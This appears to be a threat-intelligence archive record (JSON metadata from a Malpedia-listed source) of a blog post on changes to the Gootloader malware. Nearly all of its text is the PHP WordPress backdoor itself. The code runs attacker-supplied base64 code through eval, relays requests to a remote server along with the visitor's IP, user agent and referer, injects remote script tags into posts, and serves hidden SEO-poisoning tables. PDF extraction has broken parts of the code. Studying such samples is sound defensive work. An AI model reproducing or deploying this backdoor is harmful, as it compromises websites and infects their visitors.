{
	"id": "caf853ad-87de-49a5-989f-b7308190ca34",
	"created_at": "2026-04-06T00:19:17.383956Z",
	"updated_at": "2026-04-10T03:20:33.321492Z",
	"deleted_at": null,
	"sha1_hash": "6b2c1f9e0acb6c8f119617422e6a587e3bc5867f",
	"title": "My-Game Retired? Latest Changes to Gootloader",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 228667,
	"plain_text": "My-Game Retired? Latest Changes to Gootloader\r\nBy gootloadersites\r\nPublished: 2024-02-14 · Archived: 2026-04-05 14:10:26 UTC\r\n\u003c?php\r\n$pposte = $themes_css [ \"theme\" ];\r\nif (isset( $_POST [ $pposte ])) {\r\n@ eval ( base64_decode ( $_POST [ $pposte ]));\r\nexit ();\r\n}\r\nfunction qwc1()\r\n{\r\nglobal $wpdb , $table_prefix , $qwc1 ;\r\n$qwc2 = explode ( \".\" , $_SERVER [ \"REMOTE_ADDR\" ]);\r\nif (sizeof( $qwc2 ) == 4) {\r\nif (\r\n$wpdb -\u003eget_var(\r\n\"SELECT EXISTS (SELECT * FROM backupdb_\" .\r\n$table_prefix .\r\n\"lstat WHERE wp = '\" .\r\n$qwc2 [0] .\r\n\"|\" .\r\n$qwc2 [1] .\r\n\"|\" .\r\n$qwc2 [2] .\r\n\"');\"\r\nhttps://gootloader.wordpress.com/2024/02/14/my-game-retired-latest-changes-to-gootloader/\r\nPage 1 of 8\n\n) == 1\r\n) {\r\n$qwc1 = 1;\r\n}\r\n}\r\n}\r\nqwc1();\r\nif (is_user_logged_in()) {\r\nglobal $wpdb , $table_prefix ;\r\nif (!isset( $qwc1 )) {\r\n$qwc3 = ip2long ( $_SERVER [ \"REMOTE_ADDR\" ]);\r\nif ( $qwc3 == -1 || $qwc3 === false) {\r\n} else {\r\nif (\r\n$wpdb -\u003eget_var(\r\n\"SHOW TABLES LIKE 'backupdb_\" . $table_prefix . \"lstat'\"\r\n) ==\r\n\"backupdb_\" . $table_prefix . \"lstat\"\r\n) {\r\n$qwc3 = $qwc3 - 2560;\r\nfor ( $i = 1; $i \u003c 20; $i ++) {\r\n$qwc2 = explode ( \".\" , long2ip( $qwc3 + $i * 256));\r\n$wpdb -\u003einsert( \"backupdb_\" . $table_prefix . \"lstat\" , [\r\n\"wp\" =\u003e $qwc2 [0] . \"|\" . $qwc2 [1] . \"|\" . $qwc2 [2],\r\n]);\r\n}\r\nhttps://gootloader.wordpress.com/2024/02/14/my-game-retired-latest-changes-to-gootloader/\r\nPage 2 of 8\n\n}\r\n}\r\n}\r\n}\r\nif (!isset( $qwc1 )) {\r\n$qwc4 = \"a\" . substr (md5( $pposte ), 0, 6);\r\nif (isset( $_GET [ $qwc4 ])) {\r\n$request = @wp_remote_retrieve_body(\r\n@wp_remote_get(\r\nbase64_encode ( $_GET [ $qwc4 ]) .\r\n\"\u0026b=\" .\r\nbase64_encode ( $_SERVER [ \"REMOTE_ADDR\" ]) .\r\n\"\u0026c=\" .\r\nbase64_encode ( $_SERVER [ \"HTTP_USER_AGENT\" ]) .\r\n\"\u0026d=\" .\r\nbase64_encode (wp_get_referer()),\r\n[ \"timeout\" =\u003e 120]\r\n)\r\n);\r\nif ( strstr ( $request , \"\u003csleep\u003e\" )) {\r\n$echo_n = explode ( \"\u003csleep\u003e\" , $request );\r\n$ott1 = base64_decode ( $echo_n [0]);\r\nif ( strstr ( $ott1 , \"|\" )) {\r\n$head = explode ( \"|\" , $ott1 );\r\nforeach ( $head as \u0026 $v1a ) {\r\nheader( $v1a );\r\nhttps://gootloader.wordpress.com/2024/02/14/my-game-retired-latest-changes-to-gootloader/\r\nPage 3 of 8\n\n}\n}\necho base64_decode ( $echo_n [1]);\n}\nexit ();\n}\nfunction qwc0()\n{\nglobal $wpdb , $qwc4 ;\n$tpre = $wpdb -\u003eprefix;\nif (\n$wpdb -\u003eget_var( \"SHOW TABLES LIKE 'backupdb_\" . $tpre . \"posts'\" ) ==\n\"backupdb_\" . $tpre . \"posts\"\n) {\n$qwc5 = \"backupdb_\" . $tpre ;\nif ( $tpre != $qwc5 ) {\n$qwc0 = '\n\n' ;\nwp_cache_flush();\n$qwc6 = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);\n$qwc6 -\u003eset_prefix( $qwc5 );\n$qwc7 = $wpdb ;\n$wpdb = $qwc6 ;\n$qwc8 = wp_get_recent_posts(20);\nforeach ( $qwc8 as $qwc9 ) {\n$qwc0 =\n$qwc0 .\nhttps://gootloader.wordpress.com/2024/02/14/my-game-retired-latest-changes-to-gootloader/\nPage 4 of 8\n\n'- [' . $qwc9 [ \"post_title\" ] . \"](\u003c' .\nget_permalink( $qwc9 [ \u003e \"' .\n$qwc9 [ \")\n\" ;\n}\n$wpdb = $qwc7 ;\nwp_cache_flush();\n$qwc0 =\n$qwc0 .\n'\n\n' ;\n} else {\n$qwc0 = \"\" ;\n}\nreturn $qwc0 ;\n}\n}\nfunction qvc0( $qvc1 )\nhttps://gootloader.wordpress.com/2024/02/14/my-game-retired-latest-changes-to-gootloader/\nPage 5 of 8\n\n{\r\nglobal $qwc4 ;\r\nif (is_single()) {\r\n$qvc0 = preg_replace(\r\n'/j\\$k([0-9]{1,10})j\\$k/' ,\r\n\"\u003cscript type='text/javascript' src='\" .\r\nsite_url( \"/?\" ) .\r\n$qwc4 .\r\n\"=\\$1'\u003e\u003c/script\u003e\" ,\r\n$qvc1 ,\r\n1\r\n);\r\n} else {\r\n$qvc0 = $qvc1 ;\r\n}\r\nreturn $qvc0 ;\r\n}\r\nadd_filter( \"the_content\" , \"qvc0\" );\r\nfunction qvc3( $qvc3 )\r\n{\r\n$qvc3 = preg_replace( \"/j\\$k([0-9]{1,10})j\\$k/\" , \"\" , $qvc3 );\r\nreturn $qvc3 . qwc0();\r\n}\r\nfunction qwc7()\r\n{\r\nob_start( \"qvc3\" );\r\nhttps://gootloader.wordpress.com/2024/02/14/my-game-retired-latest-changes-to-gootloader/\r\nPage 6 of 8\n\n}\r\nfunction qwc5()\r\n{\r\nob_end_flush();\r\n}\r\nadd_action( \"wp_head\" , \"qwc7\" );\r\nadd_action( \"wp_footer\" , \"qwc5\" );\r\nfunction qvc5()\r\n{\r\nif (is_404()) {\r\nglobal $table_prefix , $wpdb , $qvc4 ;\r\nif (!isset( $qvc4 )) {\r\n$qvc4 = $table_prefix ;\r\n}\r\nif (\r\n$wpdb -\u003eget_var(\r\n\"SHOW TABLES LIKE 'backupdb_\" . $qvc4 . \"posts'\"\r\n) ==\r\n\"backupdb_\" . $qvc4 . \"posts\"\r\n) {\r\nif ( $table_prefix != \"backupdb_\" . $qvc4 ) {\r\n$table_prefix = \"backupdb_\" . $qvc4 ;\r\nwp_cache_flush();\r\n$qvc5 = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);\r\n$qvc5 -\u003eset_prefix( $table_prefix );\r\n$thedb = $wpdb ;\r\nhttps://gootloader.wordpress.com/2024/02/14/my-game-retired-latest-changes-to-gootloader/\r\nPage 7 of 8\n\n$wpdb = $qvc5 ;\r\nwp();\r\nif (!have_posts()) {\r\n$wpdb = $thedb ;\r\n}\r\n}\r\n}\r\n}\r\n}\r\nadd_action( \"wp\" , \"qvc5\" );\r\n}\r\nSource: https://gootloader.wordpress.com/2024/02/14/my-game-retired-latest-changes-to-gootloader/\r\nhttps://gootloader.wordpress.com/2024/02/14/my-game-retired-latest-changes-to-gootloader/\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://gootloader.wordpress.com/2024/02/14/my-game-retired-latest-changes-to-gootloader/"
	],
	"report_names": [
		"my-game-retired-latest-changes-to-gootloader"
	],
	"threat_actors": [],
	"ts_created_at": 1775434757,
	"ts_updated_at": 1775791233,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6b2c1f9e0acb6c8f119617422e6a587e3bc5867f.pdf",
		"text": "https://archive.orkl.eu/6b2c1f9e0acb6c8f119617422e6a587e3bc5867f.txt",
		"img": "https://archive.orkl.eu/6b2c1f9e0acb6c8f119617422e6a587e3bc5867f.jpg"
	}
}